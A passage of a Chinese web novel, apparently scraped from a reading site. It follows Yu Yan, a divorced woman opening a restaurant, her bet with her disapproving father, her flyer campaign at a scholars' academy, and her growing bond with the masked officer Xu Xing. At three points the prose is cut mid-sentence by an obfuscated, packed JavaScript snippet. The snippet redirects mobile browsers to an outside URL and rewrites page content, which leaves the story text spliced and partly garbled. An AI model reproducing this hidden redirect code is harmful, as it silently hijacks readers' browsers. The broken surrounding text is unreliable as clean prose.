他手里捧着一个盒子和信笺，“夫人，有位虞娘子交给了门房一盒吃食，说夫人会知道的。” 秦夫人茫然地想了想。 蔡祭酒正在看一本前几日高价寻到的古籍抄录本，闻言眉梢一抬，“是不是个年轻娘子？上次来做过帮厨的。” “哦，我想起来了，她答应了我的，快快，拿给我看看。” 秦夫人点点桌案，打开食盒，看见是通神饼，弯弯眼睛笑起来，蔡小郎夏日酷爱用冷饮子和冰果，通神饼正好辛温祛寒、化湿醒脾。 她展开了那张信笺。 “夫人，信上说了什么？” “虞娘子和离了，比你预料得还快，她还在盛安街盘了一家店，十日后就要开业了。” 蔡祭酒摸摸胡须，眼眸露出了和蔼的笑意：“不错。” 秦夫人跟着点头，是不错，信的最末尾，虞嫣如约，附上了前夫的名字，她不禁“啧”一声，“名字还挺文气的，给个负心汉用，真是糟蹋了。” 信笺看完，再去看盒子，少了一块。 原先整理好就要去忙军务的青年武将，大咧咧坐在一旁，抿着一线薄唇，无声咀嚼，用手背蹭去唇边沾的一点油印。 秦夫人瞠目：“你不是要走了？” “饿了。” “那要不你吃过饭再走？” 秦夫人把盒子朝他推过去，转头朝婢女使眼色，婢女旋身回屋，捧出了几个卷轴。 卷轴一一铺在了那盒散发咸香的通神饼旁边。 “阿行，你看。这几家娘子都是适龄待婚的，我去问过了，都同意的，你挑个合眼缘的见一见。崔家千金清秀明丽，陈家姑娘看起来有宽和有福气，还有瑞王家的表姑娘……” 徐行脸上有伤疤。 城中高门，有人家挑剔，避之不及，也有人家，反而把这当成利益置换的优势。 这么年轻就执掌了上四军之一的将领，有她阿兄定北侯做后盾，前途不可限量，只有满脑子是那种俊俏书生贵小姐话本子的女郎才会一口拒绝。 徐行垂眸，目光落在那些色彩绚丽的仕女图上，抬手又去拿了一张饼。 虞嫣这次做了咸口的，以姜末、葱花入面糊煎制，味道很不错。 “姑母费心，都替我回了吧。” 他在秦夫人脸色一变，快要横眉怒目时，补了一句，“我有自己相中的。” 秦夫人不太相信，“你才调回来多久？日日扑腾在军营和巡防，能认识几个小娘子？” “就一个，调回来第一天认识的。” 他以为命运与自己开了个残酷的玩笑。 他以为虞嫣掉眼泪，当真是因为被街头奔涌的车马惊吓到了。 后来才发现，他都想错了。 17.第 17 章 屋檐外，雨水如注，砸在积水地面，溅出一朵一朵小水花。 虞嫣为食肆新挂上的匾额，“丰乐居”三字，在雨幕中模糊不清。 这是午时与未时的交界，市井食肆里，本该最热闹的时光。 虞嫣的新店还未迎来第一个客人，先迎来了夏末一场突如其来的暴雨。备好的热菜热饭香味才要飘出去，就被雨势裹着冷风打回来，闷在食肆内，绕着她新打的几套杉木桌椅打转。 “虞娘子，”小伙计阿灿双手托腮，蹲在门槛后，叹了一口气，“这鬼天气，怕是要吃白果。你看对面街的姚三娘包子铺，日日排长队的，今日都只来了三个客人，咱这新开没名没姓的……” 阿灿是周老三给她介绍的跑堂伙计，周家乡下某个远方表亲家的后生。 虞嫣无人可用，请谁都一样。 先定了两个月的试用期，满意了才会再考虑后续聘用。 她拿着块微微湿润的抹布，给早打得光洁细润的桌面擦了又擦，“雨总有停的时候。” 话音刚落，阿灿从地上蹦起，声音立刻热情活络了起来。 “客人里面请，喝口热茶，菜牌子都挂着哩，看看想吃什么？” “我不是来吃饭的。” 雨幕中走进来个眼熟的身影，青布伞面倾斜一晃，雨水顺着伞缘落了一地，露出一张含了些愠怒的中年男人的脸来。新店第一位访客，是她多日未见的阿爹。 虞成仁目光扫过空无一人的铺子，最后落在虞嫣身上。 他顿了顿，“虞嫣，你跟我回去。” 她为什么，好像总是要跟谁回去，回到某个地方呢？ 陆延仲是这样，阿爹也是这样。 虞嫣把抹布叠好，朝着左右看看不知作何反应的阿灿道：“你去后厨，看好猪皮肉的火候，别烤焦了。”阿灿应声去了，去之前还是给虞成仁端了那杯热茶。 “阿爹怎么找到这里的？你让老钟叔跟着我了？” “回去。”虞成仁并没有同她理论的耐心，“你和陆延仲和离，已经够让我丢脸了，我没有这么厚的脸面，再丢人第二次。” “我回去之后？阿爹要我做什么？养我一辈子？” “等你和离的事情搁置一段，风声过了，爹再给你找个合适人家。你还年轻，条件放低一点，还能做殷实商贾家的续弦，继续当正头太太，过衣食无忧的日子。” “我不想嫁，就想自己过过清净日子。” “清净日子？是挺清净的。” 虞成仁嗤笑，目光扫过门可罗雀的食肆，“盛安街是什么地方？香炙楼、仁和店、会仙楼，这么多老字号的酒家茶楼，你就凭你娘教的那点本事，如何站得住脚？你当过日子是过家家吗？你郑三叔家的缘姐姐，上个月开了绣坊，不到半月就赔光了本钱，哭着回了娘家。” “那阿爹就等我，等我赔光了本钱，自然哭着回虞家。” “到时候你的名声都坏了！” 虞成仁重重一拍桌案，阿灿给他倒得八分满的茶水溢出来，“你要住在外祖家，砍断了锁链都要回去，要抛头露脸地摆摊，我管不着你。但这是哪里？这是盛安街，这么多酒家商行，你弟弟念书的樊山书院就在隔了一条街的地方，你名声传扬出去，再要后悔就晚了！” 虞嫣静了一会儿，反复咀嚼他这番话。 “爹，店铺我已经盘下了，一次给了三月铺租，请了伙计，囤了食材。阿爹是商人，你能算出这笔账，我现在跟你回家，这些银钱都打了水漂。我嫁给陆延仲时，他未考取功名，如今以我和离的身份，阿爹想我再当官太太是难了。既然只能嫁给商家，抛头露脸便不算什么大过错。” “阿爹不是说榨油坊的榨槽和撞杆快要更换，一直头痛这笔钱吗？” “你给我三个月，我来给家里油坊更换这些。” “哈，说得轻巧，你知道更换这些费多少银子？” “油坊快一季的利钱。阿娘还在时，她说过的。” 虞嫣口吻刻意流露了伤感，“她还给我看过总账簿，教我做过算数。” 二娘是不懂这些的，二娘只负责讨她爹的欢心。 家里中馈、油坊账目、商贾叔伯们的人情往来，这些都压在了郁郁寡欢的阿娘肩头，被虞嫣看在眼里，直到阿娘去世，阿爹才吃力地重新管起了这些。 虞成仁的脸色有了微妙的变化。 那种变化不能称之为缓和，虞嫣清晰地在他的眼神里看到了估算，属于商人的估算，或许，还有一份很浅淡的怀念。阿爹把她的话听进去了，他正在权衡利弊得失。 “三天，”虞成仁竖起三根手指，“三天后我再来，要看到这里座无虚席，连门口都有人排队。做不到，你跟我回去安心嫁人，做到了，你才有那三个月。” 本朝女郎自立门户，条件不一，虞嫣最容易达成的，是连续缴纳六个月的商税。 她尚在摆摊时，可以不理会她爹的强行要求。 开了铺子就有了掣肘，只要她爹向官府举报，她随时都有可能失去这间铺子，她必须答应。 “好，三天之后这个时辰，阿爹再来看。” “我只说三天后，没说什么时辰来。” 虞成仁拂袖离去。 虞嫣目送他的身影消失在雨幕中。 阿灿从后厨出来，“唉”了一声，“猪皮肉快烤好了，虞娘子看看。” 虞嫣细细端详他，“阿灿，你脸上的是什么表情？” “啊？” “一种觉得自己三个月后就要失去饭碗的表情。” 阿灿努力把神色收了收。 “吃炒饭吗？我给你做，反正还没来客人。” 虞嫣掀帘，进去了后厨。 案头摆着隔夜米饭，是昨日她特意多蒸的。 此刻用竹筷拨散，颗颗分明，泛着温润的白，葱花玉米、香菇腊肉、鸡蛋都是现成的。 虞嫣将靛蓝围裙再系紧些，衣袖扎上去，捏着鸡蛋在灶台轻磕，“咔” 一声细微而愉悦，蛋黄裹着蛋清滑进碗里。 阿娘教过的话，恍如昨日： “蛋黄和蛋白液要分开炒，不同食材，炒熟的耗时要分开算。” “炒完料不用洗锅，借着余油，直接将米饭和香菇粒倒进锅里。” “竹铲压着米饭轻轻碾，让每一粒饭都松散，慢慢染上油光。” …… 灶膛添了两根柴，火苗 “噼啪” 舔着锅底。 竹铲与铁锅碰撞，每一次翻动，都是一声脆响，虞嫣喜欢的声响。 这是她下厨学的第一道菜。 她学会之后， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622552|187784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴奋地逼着所有人，阿翁阿婆，阿娘，甚至隔壁铁匠家那凶巴巴的小哥哥，吃她做的饭。炒出来之后，金黄色的蛋液会均匀地裹在每一粒米饭中，因而是“碎金饭”。 虞嫣熄了火，等待锅中余温，将米香、蛋香、葱香融混，才盛出满满的两大碗。 黄灿灿的饭粒分明，星点葱花鲜绿，在微凉雨日，让人觉得妥帖舒适。 阿灿噔噔噔地跑来，吸溜了一鼻子炒饭香气，“东家，有客人！这次是真的客人！不过他说菜牌子上没有他想要的菜色，问能不能现做别的？” 虞嫣用抹布擦了擦手：“客人要吃什么？” “客人说，他要一碗碎金饭。” 是哪个客人，竟然这么巧？ 虞嫣摘了围裙，把原本留给自己的那碗端到托盘里，亲自送了出去。 食肆外，檐角雨珠顺着瓦当滚落。 雨线依旧细细密密，男人半边戎服都被雨淋湿了，立在食肆门檐下，高大身躯挡去了阴雨天的一半光。 虞嫣一愣，对方慢慢抬起头来。 半边银质面具幽幽泛着冷光，素面的，一点花纹雕饰都没有，就跟他身上的衣袍一样。 面具没遮住的那半边，眉锋如剑，星眸明亮，像是一块隐匿流光的墨玉。 “虞姑娘。” 熟悉的声线从两片薄唇之间倾泻。 虞嫣有点口舌干燥，可能是厨房灶火烘的，“……徐行？” 徐行点头，目光落在她端着点托盘上，“这么快？” “碰巧做了。” 虞嫣把托盘放下，拉开了一张椅子，请他坐下，想了想，又递给他一条干净的帕子。 徐行用那条帕子揩拭脸上、肩上的雨水。 虞嫣就站在他身侧，观察那扇不规则的，遮住了他左边脸，从眉骨到面颊的素银面具，包括最边缘一线没掩盖的疤痕。原来……是因为这样吗？ 徐行拾起竹筷，看了她一眼。 虞嫣转身回到柜台，假装去盘她今日并不存在的账目。 徐行吃得很慢。 他投军之后，每逢休沐，都会去边城大街小巷的食肆，尝试点一碗碎金饭。 它们有的平平无奇，有的美味喷香，但每一碗，都不似虞嫣当初给他的那一碗。 腊肉咸、玉米粒甜、香菇鲜、鸡蛋和米饭的香。 每一种食物原本的滋味都和谐地融混在了一起，再没有别的干扰。 军营人头多，当小兵时，吃饭是要抢的。 松松的一碗扒完了，就立刻要去装第二碗，否则饭桶里头什么都不会剩下。徐行和魏长青都养成了吃饭很快的习惯，哪怕后来有了军衔等级，不用再抢饭，也没把这习惯改正过来。 这是他吃得最为奢侈，最为磨蹭的一顿。 徐行餍足地放下空碗，走到了柜台前，“菜牌子上没有，多少文？” 虞嫣对上他的深眸，手指在算珠上摩挲了一下。 “新店开业，不收你的，下次……如果你下次还来，我再收。” 她没忍住问出口，“好吃吗？” “想听真话？” 虞嫣心头一突，“食客的意见很重要，你说吧，我能接受的。” 徐行懒懒笑了，语气是前所未有的放松，“恨不得把碗都咽了。” 18.第 18 章 “恨不得把碗都咽了。” 徐行不是随意玩笑的性格，所以这是一句真实的评价。 虞嫣说不上来，只觉得刚答应了阿爹苛刻条件的心里，松快了那么一分。 雨声骤急，卷入丝丝缕缕的凉气，有越演越烈的趋势。 “你今日还要巡逻？” “两刻钟之后。” 那还有两刻钟。 虞嫣听罢，把半碟还温热的炙烤猪皮肉递给他，外层烤得焦脆，内层是油润紧实的薄肉，均匀地撒了椒盐，本来打算去街上派发，用来吸引路人的。 “趁着还没有客人来，我请你喝茶。” 她从柜台后走出来，裙角擦着徐行的乌靴，轻轻一旋，掀帘入了后堂。 不多久，带着一只炭炉，一只茶铫过来，阿灿跟在她身后，帮忙摆好杯盏和茶匙。 虞嫣把新鲜茉莉花瓣与茶芽混合，投入沸水轻煮，茉莉花温和清幽的香气，融混在袅袅水雾里，“徐行，你为什么……想要碎金饭？” 她没有坐在徐行对面，只拖了一张椅子在过道。 就像徐行巡逻执勤区域那样，她检视挂在墙上的菜牌子，“酒烧香螺、麻腐鸡皮、豆腐酿煎蛤蜊……这些你都不想吃吗？是定价不合理，还是菜式不满意？” 她选择的都是当季鲜食，兼顾了烹饪便捷、市井口味与价格。 普通军士的粮饷并不高，比各行各业底层劳作的百姓宽裕一些，是很好的参详标准。 “不干菜单的事。” “那是为何？” 她疑问地看着徐行，这个角度，看不见他那半扇面具，只瞧见他侧脸上起伏的山根与唇锋的轮廓，像险峻山峦，有一种蜿蜒错落的美感。眼前人是骨相比皮相更优越的男人。 徐行不答反问：“你没信心？对菜式，还有定价？” 虞嫣捏着膝头的裙裳布料，舔了舔唇，“我答应了我爹，要在三天内，让食肆客满。” 她有信心在盛安街慢慢起步，积累口碑。 但一蹴而就，不是她惯常有的做事方式和性格。 “要是没客满呢？” “这是一个赌约，要是没有客满的话，他会设法让我关店回去……改嫁一个什么人。” 改嫁两个字绕在舌尖，好像有堵住她嘴巴的重量。 不知是对重新踏入婚姻的抗拒，还是在徐行面前承认，她已是和离妇人的那几分犹豫。 “你不该答应的。” 那道令她熟悉的，感到安心的醇厚声线，倏尔带上了比雨幕更凉的严厉。 虞嫣一愣。 徐行直视她：“三天后，只需要一场像现在那么大的雨，你就会输得彻底。” 夏末秋初，每逢早晚，都要加一件薄衫。 换季频繁的雨天，就和婴儿脸上的哭笑一样，难以预料。 徐行一句话把她满脑子乱转的开业试吃、优惠折扣的点子都搅乱了。 男人放下茶盏起身，挡住了阿灿点的那盏小壁灯的光。 阴影完完全全笼罩在了她身上。 “你来看清楚。” 他一把攥起了她的腕子，手指紧扣在她腕骨上，将她拉到了食肆门口。 雨雾扑到了虞嫣脸上。 徐行淋得半湿过来，指头却是热的，即便很快松开了，几道指印触感好似还隔着薄袖，烙印在她皮肤上。她顺着徐行的目光，去看大雨天里清清冷冷的盛安街。 街头生意最好的，是个披蓑衣戴斗笠，一路询问檐下躲雨路人要不要买油纸伞的卖货郎。 “仁和店是这条街上开得最久的正店，连它都没坐满。” “丰乐居凭什么？” “凭此时此刻，它的掌控者还在怀疑菜式和定价？” “虞嫣，我们不会这样上战场的。” 徐行第一次喊了她的名字。 他垂眸看她，眸光深深，犹如压着她的一道阴雨穹顶。 “还没上战场就怀疑自己会不会输的士兵，不止会输，还会死。” “人在山里遇到饿狼，不能想怎么跑掉，要想怎么握紧手里的火把，在它试图靠近时，把它的两只眼睛戳瞎。” “你不能在输上犹豫，你要想怎么赢。” “你要想，你有哪些武器，哪些手段，你还需要什么？” “单打独斗大多惨败，傻子才打这样的战，你要向所有可能对你伸出援手的人索要。” 徐行顿了顿，语气温和下来，嗓音微哑，“包括我。” “你知道在哪里找我。” 徐行走了。 虞嫣还立在丰乐居门下，雨雾一阵阵把她夏衫外披扑得潮润，被风吹过的脸颊冰凉，皮肤之下，她的呼吸和心跳在发热。她回头，环顾那些在烛火下显得过于温馨而无害的菜牌子。 沿街揽客的卖伞货郎正好来到了丰乐居，唤回了她的注意。 “这位娘子？要伞吗？这雨不下足了一天是不会放晴的。” 扁担挑子里，防水油布里裹着的伞已不剩下几把了，明明之前远远看，还有那么大一箩。 虞嫣定定看了两眼。 卖伞郎不会在晴天等待顾客主动来买他的伞，他只在雨天走街串巷，找到最需要它的人。 她为何，非得等饥肠辘辘的食客上门？ “剩下的都要了。” 她唤来阿灿去门外结账，“买完了把门阖上，我们明后两日都不开业。” 虞嫣没有再去厨房，她去了午歇的耳房。 灯台点上，照见她铺开的笔墨纸砚，与眸中凝聚神采的光。 她有什么武器？什么手段？ 她有一段算不上美满的姻缘，见证一个寒门学子考取功名，踏入仕途，在官场忙忙碌碌。 她有一个对美食钟情之余，还痴迷于各种奇情故事和话本子的阿娘。 前者让她对文人雅士心态了如指掌，后者让她对故事好坏有了鉴赏。 而距离盛安街一条街的距离，是她同父异母的弟弟虞小郎所在的麓山书院。 虞嫣向来只在盘账和写菜单时才握笔的手，飞快地动起来。 直到灯盏的灯油点完了，她才攥着最后一张文稿，抓起伞，跑了出去。 稀稀落落的雨缠绵一夜，在第二日清晨才停歇。 邑沧街上，清石印坊的伙计宿在店内，还在迷迷瞪瞪地梦周公，忽而听见急促的拍门声。 “来了，来了……哪位啊？” 伙计打了个呵欠，拖拉着步子开门，手里被人塞了一张薄薄的什么东西。 他面前站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632301|187784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个年轻女郎，语速飞快，指令清晰，“同等大小，中等纸质，按正面反面，印一千份，今日天黑前印完，每印完三百份，先交送到盛安街丰乐居。” “一千份？这位娘子，光是铺铁板蜡泥，拣字排字就得一个时辰……” 伙计睡眼惺忪，凭借本能估摸起字数，另一只手骤然一沉，被塞了个银锭子。 “娘子，我们书坊今日有排单了，熟练工匠都有……” 手里再一重，伙计哑声片刻，终于清醒了，“娘子稍等啊，我叫我们掌柜的来跟你谈。” 整个帝城沐浴在灿金晨曦之中。 各街各巷的百姓陆陆续续出来活动。 高耸城墙之外，龙卫军驻扎的营地，军士们结束了早晨练习，鱼群一样涌向打饭的伙头兵。 徐行还在演武台。 他同一团的搏击教头加练了一个时辰，汗水顺着他下颔一滴滴淌。 戴锦平自上次中元节护送囚犯失利，被枢密院罚了后，消停了许多。徐行正好借此机会，把能够拉拢到自己麾下的人，都拉拢过来。 军人慕强，武术竞技就是一个很好的方式。 教头整个人瘫在演武台上，气喘如牛，“不练了，下次！” “好。” 徐行摘了护腕，用袖子擦了擦下颔，跃下演武台。 属于主帅的营帐里，郑二百无赖聊地等着。 这个时辰了，他不在街道司，必然是有了重要发现。 “说说。” 徐行抄起一只铜壶，仰头灌水。 “老大，两件事，第一件是你让我们查的，中元节那日，盛安街商铺无端起火。军巡铺子的人灭火后，查出来是被放了松香和少量硫磺，但没追查到来源。我们拿到残留物，多番比对，怀疑是一家烟火作坊的货，但是那家作坊……” “怎么？” “东家看起来很干净，查不出什么纰漏。” 徐行皱了皱眉，喝空了铜壶丢回桌上，“先盯着，不够三个月别放松。” 郑二称“是”。 “第二件？” “第二件嘛……” 郑二严肃的面容一松，一双长眸露出打趣的笑意，“是关于虞娘子的。” 他从怀里掏出一张皱巴巴的小帖子，“丰乐居今日招了很多卖货郎上门，分发工钱和这帖子，每个人需得能倒背如流了，才能放出去。我估摸不准，打探完了，捡了这一张回来给你看。” 徐行接过那帖子，翻来覆去，正面反面看了好几遍，勾了勾唇。 虞嫣动作很快。 “都去帮忙，就按卖货郎们说的那样，同街道司相熟的行当，能用起来，都用起来。” “得咧！” 郑二怪声怪气地应了，人都走到出口，脑袋扭回来，“老大的好事儿成了，我能坐主桌吗？” 比他敢想。 徐行屈指，弹起沙盘的一块小石子，朝他射过去。 郑二“嗷”一声躲过去，掀帘钻了出去。 帘子掀起又落下，露出了蓝湛湛的一角。 徐行起身，远眺天边，今日清朗透彻，有舒爽的早秋气象，正是虞嫣所需要的好运气。 但她未来还需要更多。 如果不够，他不介意伸手造。 19.第 19 章 这是一个可以感受到微凉的清晨。 虞嫣站在樊山书院的门口，裹紧了秋香色外衫，眸光一动不动锁在那扇门前。 只听见一声撞钟，杳杳邈邈，书院门开了。 一群身着青皂澜衫的儒生缓步而出，穿越寓意文运昌盛的棂星门，涌向邑沧街头的早点铺子。这些人年纪不一，有的还是童生，有的已考取秀才，但脸上都有同一种晨起的迷蒙，以及对新鲜朝食的向往。书院里是有食堂，但再好吃的东西，久了都是会腻的。 虞嫣等了好一会儿，看见了一道裹在其中，温吞瘦小的身影。 她招了招手，声线微哑：“子明！子明！” 虞子明茫然顿步，看到了虞嫣后，露出惊讶又欣喜的神情，朝左右同窗一板一眼拱手，告别他们后，小碎步跑到了虞嫣的面前，“阿姐，你怎么来了？” 虞嫣将还温热的豆沙芝麻团塞给他。 “小郎在书院过得怎么样？” 虞子明垂着脑袋，蹙起眉头：“阿姐，我没有分到敬义斋，去了志道斋。”敬义斋是他最想去的讲堂，有两个与他一样家境普通，花了大关系进来的同窗就在那里。 他的脑袋上垂来一只手，隔着他的幞头，温温柔柔地拍了拍，“那……还能再去吗？” “冬假之前还有一次机会，校考表现优异的话。” 虞子明扶正了他的幞头，“阿姐你不要拍了，歪了会被笑话。”他顿了顿，想到夏休回家后，阿娘同他讲的那些虞嫣从夫家离开之后的作为，“阿姐你还不想回家吗……阿爹他很生气。” “阿姐没法与你说得明白，但你说得没错，我还不想回家。” 虞嫣从腰间抽出几张熨帖了她体温的帖子，上头还留着昨日从清石印坊赶制出来的墨香。 “你帮阿姐一个忙，把这些帖子，贴在你们书院的‘诗墙’上。麓山书院只有学生和夫子能进，阿姐进不去，你答应阿姐，要把它贴在最显眼的位置上。” 书肆书局有书榜和题跋板，诗社茶舍有泼墨墙。 都是读书人凭借才学与洞见，畅所欲言的地方，樊山书院的诗墙，更是与国子监的诗碑不相伯仲，那是汇聚了众多热切目光的地方。 虞子明将虞嫣给他的帖子细看。 帖子印刷得工整洁净，就像时下流行的热门话本子封面，画像只占据了一角半边的构图，留白极多，一眼就能捕捉到核心字眼。这是一副极致简约的“画中画”。 四方窗框，长条书案，案头一座插屏小画。 插屏小画上，寥寥几笔勾勒，江水空濛，芦苇稀疏，有人披着蓑衣独钓。 插屏之外，只留一枚做工精巧的荷花碧玉簪。 窗框空白处的楷书娟秀，字字分明—— 三日前，侍郎邗公独子长庚，于书斋无故失踪。门窗完好无损，家人遍寻不得，唯见书案小画墨迹未干，花簪余温尚存。画旁蝇头小楷提字：“鱼不吞饵，我亦非我。” 明日未时，能解此谜，请赴约一叙。 帖子右下角印的正是盛安街丰乐居的地址。 虞子明的嘴唇嗫嚅半天，脑子里闷闷一声雷响，“这是，阿姐……你要是我……”这相当于在书院诗墙上为丰乐居悬帜挂幡，唱卖吆喝。 “没错，丰乐居是我开的食肆，” 虞嫣定定看着他，“阿姐不是不能回家，只是不能以任凭阿爹安排的方式回去。” 这一千份话本帖子。 虞嫣给了走街串巷的卖货郎们，给了邑沧街两家最大书肆的东家，以银钱驱使，以承包书肆伙计每日午膳送餐为交换，她尽了最大努力让这个故事在盛安街方圆三里的地方流传。 她了解读书人，曾经像陆延仲那样的读书人。 要吸引书院学子，简单的市井艳俗不足够，粗浅的江湖恩怨太乏味。它必须让他们想琢磨，像一个有待破解的谜题，像一句似是而非的禅机，能够思考，能够辩论，才能够发表高见。 所谓高官之子、女郎花簪，只是菜肴摆盘上的那一朵萝卜雕花。 最初敲定时，她就找了街头替人润笔的书信先生来修改。 她能从那位书信先生的神情确定，这是一个挠到了读书人心口痒痒的噱头。 “小郎，那你答应阿姐吗？” “爹知道了的话……不行的……” “你不想贴，就阿姐扔在书院随便什么地方。” “阿姐……” “子明，你还记得我阿娘的样貌吗？” 虞子明被她问得一愣，“当然记得。” 他曾经的嫡母，总是愁眉不展，藏着心事，待他和阿娘都很淡漠，但却从未真正磋磨过他与阿娘。 “要是阿姐回家了，会变得一模一样。” 虞嫣走了。 虞子明踌躇在原地，直到告别他去买朝食的同窗们回来，“子明，不走吗？” “子明，你手上拿的是什么？” 虞子明把帖子仓促藏入了袖中，“没、没什么，距离早课还剩下半时辰，我们回去。” 比巴掌大的帖子，藏在袖笼，好像会咬人的小兽，纸页一角戳得他痒痒的。 他打开虞嫣送来的油纸包，看着那两颗芝麻团。 他长得足够大了，大到知道他阿娘由妾扶正当续弦意味着什么，知道他阿姐离开夫家，抛头露脸经商又意味着什么。如果阿爹知道他今日帮了阿姐，一定会大发雷霆。 虞子明咬了一口早点。 一开始干巴巴的味同嚼蜡，糯米碎开，与豆沙馅流出，粘在他舌尖与上颚，混合津液生出了不一样的香甜。还是那么好吃，阿姐还未出阁时，逢年过节都会做，会给他留最大的一颗。 早课散了，接着是一时辰不休的大课。 夫子抱着收上来的一叠功课，慢腾腾走出讲堂后，学子们才像是出笼鸟那样纷乱四散。 虞子明没有去食堂，也没有出书院买外食。 他独自等到讲堂和学院都变得清净。 那堵泼墨纵横的诗墙前，还未有吃饱了饭的学生来驻足评议。 他左右四顾，心怦怦跳，慌慌张张抓起诗墙前浆糊盒子里的竹棒，在帖子背后抹了一下，然后“啪”地把这个角，粘贴到了诗墙的白纸上。 虞子明头都不回地跑了。 秋风拂过树梢，卷走了脆弱得难以依附枝条的落叶，也卷走了没有被认真贴好的话本帖。 话本帖轻飘飘落在地上，被风一掀，带远了几步。 另一只属于少年人，肌肤还带着白皙稚嫩的手，把它捡了起来。 “咦，这是什么呀？” * 明日就是重新开张的日子了。 虞嫣减了灶膛的柴火，盖上焖煮的木盖，交待阿灿看好厨房。 阿灿睡在店里，打着呵欠，眼角闪着泪花，应了一声。 “交给我吧，虞娘子还不归家，明早来准备又手忙脚乱了。” 他嗓子比虞嫣的还劈，昨日一整日在帮虞嫣召集卖货郎，把话本帖上的故事翻来覆去地讲。 “我这就回去了。”虞嫣揉了揉太阳穴。 她的眼皮干涩，脑子却像有一匹野马，在不停地乱跑乱蹿。哪里还漏了什么？哪些人没找？菜名是不是要定得更风雅一些？提早备下的食材够用吗？还是太多了？ 丰乐居外，更夫拖着长而不绝的调子，报了三更天。 没有时间再多考虑了。 虞嫣走出丰乐居，抬头望见一轮清冷的弯月。长街寂寥空荡，早错过了徐行和魏长青巡逻的时辰。她正要深吸一口气，活动活动手脚，想一鼓作气跑回去。 有人牵着马，从巷道阴影中走出来。 马蹄踩在青石板上，发出虞嫣熟悉的“哒哒”轻响。 “徐行？” “嗯。” “你怎么……这么晚了还在巡逻？” “虞姑娘不也是，这么晚。” 徐行指了指丰乐居紧闭的门上，重新贴的那张明日开业告示，“很累？” 虞嫣摇头，停止了揉搓自己僵硬后颈的动作。 缰绳松开了。 徐行那匹威风凛凛的玄马温顺地朝前踱了几步，马头朝她蹭过来，虞嫣本能想退后，又顿住了，感觉玄马的皮毛，轻轻蹭过了她，有点刺挠，和如意蹭她的时候很不一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那太明显了。” 徐行笑了一下。 “我琢磨了五遍，定了新菜单，你来尝尝吗？” “明日还有事。” 言简意赅的拒绝。 虞嫣没再邀请了，披风笼罩在身上有厚实重量，她微凉的指尖渐渐生出温热，变暖和起来。 她难得从居高临下的角度观察徐行，观察他端行如松的走路姿态。 蓬莱巷比她想的还要快到，即便是以玄马这么优哉游哉的步调。 徐行朝她伸出了手臂，她按在他护腕的位置上借力，落地后，见他长腿一迈，就要走了。 “等等，披风，还没还你。” “不冷，不差这一件。” “我不能平白拿你的东西……” 徐行的戎服朴素，但这件披风的料子很好，虞嫣一摸上手就知道了。 她抬手要去解领口的系带，手背上被抵上什么，垂眸一看，是徐行调了个方向的马鞭手柄，木质圆柄早被他摩挲得温热细腻，不重不轻地压在她指节上。 “你很怕欠我东西？” “已经劳烦你送我回来了。” 徐行一哂，“行，那还我。” 手背上的压力一松。 虞嫣把披风解下来，正要折了递给他，男人抓走了那拢厚实垂顺的面料，骨节分明的手捏在领口一抻，一扬，有细腻绒光的墨色阴影在夜色流动，再慢慢落下。 她要提着才不至于拖地的披风，套在徐行身上，正好蹭在他靴面。 几息之前，还浸透了她体温的披风。 男人用慢条斯理的动作，抚上领口，指头绕在她触碰过的系带，颈脖上一粒喉结，随他说话，上下起伏滚动。 “如愿了，还不进去？” 虞嫣用比平日更快的速度，推门，关门，落闩，听见外头一声没好气的嗤笑。 20.第 20 章 午市将至。 阿灿左手提着茶壶，右手把壶底擦了第十二遍，目光梭巡在盛安街头。 今日晨起时还晴朗的天气，到了挨近晌午就转阴，飘下零零星星的雨点。 有人打伞，有人抬袖疾行，有人抱臂缩在沿街商铺的檐牙下，悠闲地等雨停。 丰乐居内，安静得能听见干燥抹布摩挲铜壶底的声音。 他过于热切的视线，没有招来新食客，却招来了隔壁两家食肆派来打探的伙计，有意无意地聚在门口，朝里张望，幸灾乐祸地张大了嘴巴。 “鬼影都没有啊。” “阵仗闹得这么大，绣花枕头稻草芯子，啧啧啧。” “唉，回去跟掌柜的汇报吧，放一百个心。” “说什么呢？还未到我们正式开业的时辰。” 阿灿骂骂咧咧去赶人，走出了门口几步，离对街更近了，瞧清楚对面仁和店的二楼花窗里，有个眼熟的男人一身绸袍，凭窗而坐，目光如实质般压在丰乐居的牌匾上。 是……虞娘子的父亲，真的来了。 阿灿顿时忘了骂人，立刻跑回去找虞嫣。 “虞娘子！虞娘子，你阿爹来了，不过是在对面仁和店，就在二楼雅座上盯着呢。” “知道了。” 虞嫣的声音很平和。 她还在检查新菜单里最关键的一道菜。 这是一道用鲈鱼做的鱼肴，盘底是一圈有早桂清幽香气的淡金色鱼汤，清莹透亮。 整条鲈鱼蒸熟，保留了鱼肉的本真清甜，以细竹丝做支架托起，似悬浮于盘中。鱼嘴微张，在盘底加热的炉火作用下，吐出一缕银丝似的蒸汽。 